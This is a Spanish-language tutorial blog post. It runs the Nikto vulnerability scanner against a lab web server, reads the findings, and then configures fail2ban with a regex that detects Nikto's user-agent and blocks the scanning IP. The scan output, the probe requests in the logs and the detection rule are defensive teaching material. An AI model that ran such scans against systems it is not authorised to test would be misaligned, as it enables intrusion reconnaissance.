juan@moon: ~/borrar$ wget --no-check-certificate https://www.cirt.net/nikto/nikto-2.1.5.tar.gz
juan@moon: ~/borrar$ tar -xvf nikto-2.1.5.tar.gz
...
juan@moon: ~/borrar$ cd nikto-2.1.5/


Lo hacemos ejecutable y lo actualizamos


juan@moon:~/borrar/nikto-2.1.5$ chmod +x nikto.pl 
juan@moon:~/borrar/nikto-2.1.5$ ./nikto.pl -update
+ Retrieving 'nikto_report_csv.plugin'
+ Retrieving 'nikto_headers.plugin'
+ Retrieving 'nikto_cookies.plugin'
+ Retrieving 'db_tests'
+ Retrieving 'db_parked_strings'
+ Retrieving 'CHANGES.txt'
+ CIRT.net message: Please submit Nikto bugs to http://trac2.assembla.com/Nikto_2/report/2
juan@moon:~/borrar/nikto-2.1.5$ 

Ready to run!!! Nikto está escrito en PERL y podría darse el caso de que no tengan todos los módulos de perl necesarios instalados y tengan que instalarlos (esa es la parte dificil jajaj).


Lanzando nikto al servidor objetivo


Vamos a lanzar nikto con su configuración por defecto y sin mas parámetros que el objetivo.

juan@moon:~/borrar/nikto-2.1.5$ ./nikto.pl -h 172.16.62.149
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          172.16.62.149
+ Target Hostname:    172.16.62.149
+ Target Port:        80
+ Start Time:         2014-03-20 00:04:55 (GMT-3)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.10
+ The anti-clickjacking X-Frame-Options header is not present.
+ Uncommon header 'x-pingback' found, with contents: http://172.16.62.149/xmlrpc.php
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ Server leaks inodes via ETags, header found with file /readme, inode: 0x66046, size: 0x23a2, mtime: 0x48bfa299bbdc0;4f50077b4b85f
+ Uncommon header 'tcn' found, with contents: choice
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /readme.html: This WordPress file reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ 6545 items checked: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2014-03-20 00:06:11 (GMT-3) (76 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
juan@moon:~/borrar/nikto-2.1.5$ 

Interesante... Qué podemos rescatar del análisis?

-Identificó el Sistema Operativo, Ubuntu.
-Identificó la versión de Apache, 2.2.22.
-Identificó la versión de PHP, 5.3.10-1ubuntu3.10.
-Identificó la versión de Wordpress, 3.0.1 (en /readme.html)
-También identificó potenciales exposiciones de información como

Nikto consiguió bastante información sobre el objetivo, aunque no encontró ninguna vulnerabilidad muy explícita podría haberlo hecho. Entonces acabamos de demostrar que nuestro servidor no es capaz de darse cuenta de que fue escaneado por un software en busca de vulnerabilidades.


¿Cómo identificamos el ataque?


Si le damos una breve mirada a los logs de apache podemos encontrar lo siguiente:

juan@ubuntu:/etc/fail2ban/filter.d$ cat /var/log/apache2/access.log |grep -i nikto
...
172.16.62.1 - - [19/Mar/2014:20:44:39 -0700] "GET /mobileadmin/bin/ HTTP/1.1" 404 532 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:5) (Test:006606)"
172.16.62.1 - - [19/Mar/2014:20:44:39 -0700] "GET /mobileadmin/home.cs HTTP/1.1" 404 535 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:5) (Test:006607)"
172.16.62.1 - - [19/Mar/2014:20:44:40 -0700] "GET /3rdparty/phpMyAdmin/server_sync.php?c=phpinfo() HTTP/1.1" 404 551 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:5) (Test:006608)"
172.16.62.1 - - [19/Mar/2014:20:44:40 -0700] "GET /phpMyAdmin/server_sync.php?c=phpinfo() HTTP/1.1" 404 542 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:5) (Test:006608)"
172.16.62.1 - - [19/Mar/2014:20:44:40 -0700] "GET /3rdparty/phpmyadmin/server_sync.php?c=phpinfo() HTTP/1.1" 404 551 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:5) (Test:006608)"
172.16.62.1 - - [19/Mar/2014:20:44:40 -0700] "GET /phpmyadmin/server_sync.php?c=phpinfo() HTTP/1.1" 404 542 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:5) (Test:006608)"
172.16.62.1 - - [19/Mar/2014:20:44:40 -0700] "GET /pma/server_sync.php?c=phpinfo() HTTP/1.1" 404 535 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:5) (Test:006608)"
juan@ubuntu:/etc/fail2ban/filter.d$

Cientos de entradas correspondientes a los accesos de Nikto, todas vienen con el user-agent Mozilla/5.00 (Nikto/2.1.5), y por lo tanto podría ser la cadena ideal para detectarlo. 


Indicándole a fail2ban como detectar Nikto:


Chusmeando un poco los filtros disponibles de fail2ban podemos ver que hay uno llamado apache-badbots.conf. Este filtro provee una lista de bots (robots scanners web) que han sido identificados como de no confiar o directamente peligrosoz, por lo tanto vamos a hacer uso de esta lista y expandirla para incluir Nikto en ella.

Editamos el archivo en cuestión (/etc/fail2ban/filter.d/apache-badbots.conf) y agregamos una nueva expresión regular a failregex. Quedando así:


failregex = ^ -.*"(GET|POST).*HTTP.*"(?:%(badbots)s|%(badbotscustom)s)"$
            ^ -.*"(GET|POST).*HTTP.*".*Nikto.*$

Ahora debemos crear el jail correspondiente en /etc/fail2ban/jail.conf . Agregamos lo siguiente al final del archivo:

[apache-badbots]

enabled  = true
port     = http,https
filter   = apache-badbots
logpath  = /var/log/apache*/*access*.log
maxretry = 1

Ahora es necesario agregar la jaula al proceso fail2ban, podemos lograrlo reiniciando el servicio:

root@ubuntu:/home/juan# service fail2ban restart
 * Restarting authentication failure monitor fail2ban                    [ OK ] 
root@ubuntu:/home/juan# 

Luego corroboramos que se haya cargado exitosamente:

root@ubuntu:/home/juan# fail2ban-client status
Status
|- Number of jail: 2
`- Jail list: apache-badbots, ssh
root@ubuntu:/home/juan# fail2ban-client status apache-badbots
Status for the jail: apache-badbots
|- filter
|  |- File list: /var/log/apache2/access.log /var/log/apache2/other_vhosts_access.log 
|  |- Currently failed: 0
|  `- Total failed: 0
`- action
   |- Currently banned: 0
   |  `- IP list:
   `- Total banned: 0
root@ubuntu:/home/juan# 


La prueba:


Ahora volvemos a lanzar Nikto contra nuestro servidor para ver si funciona:

juan@moon:~/borrar/nikto-2.1.5$ ./nikto.pl -h 172.16.62.149
- Nikto v2.1.5
---------------------------------------------------------------------------
+ No web server found on 172.16.62.149:80
---------------------------------------------------------------------------
+ 0 host(s) tested
juan@moon:~/borrar/nikto-2.1.5$ 

Claramente esta vez nikto no hay podido hacer nada. Y a continuación podemos ver porque:

root@ubuntu:/home/juan# fail2ban-client status apache-badbots
Status for the jail: apache-badbots
|- filter
|  |- File list: /var/log/apache2/access.log /var/log/apache2/other_vhosts_access.log
|  |- Currently failed: 1
|  `- Total failed: 1784
`- action
   |- Currently banned: 1
   |  `- IP list: 172.16.62.1
   `- Total banned: 1
root@ubuntu:/home/juan#

La jaula nos indica que la IP 172.16.62.1 fue detectada y bloqueada, podemos verlo también directamente desde iptables:

root@ubuntu:/home/juan# iptables-save
# Generated by iptables-save v1.4.12 on Fri Mar 21 06:29:33 2014
*filter
:INPUT ACCEPT [100:6649]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [77:8884]
:fail2ban-apache-badbots - [0:0]
:fail2ban-ssh - [0:0]
-A INPUT -p tcp -m multiport --dports 80,443 -j fail2ban-apache-badbots
-A INPUT -p tcp -m multiport --dports 22 -j fail2ban-ssh
-A fail2ban-apache-badbots -s 172.16.62.1/32 -j DROP
-A fail2ban-apache-badbots -j RETURN
-A fail2ban-ssh -j RETURN
COMMIT
# Completed on Fri Mar 21 06:29:33 2014
root@ubuntu:/home/juan#

Nikto fue completamente detenido por fail2ban!!! Como ven, el potencial de fail2ban es gigante.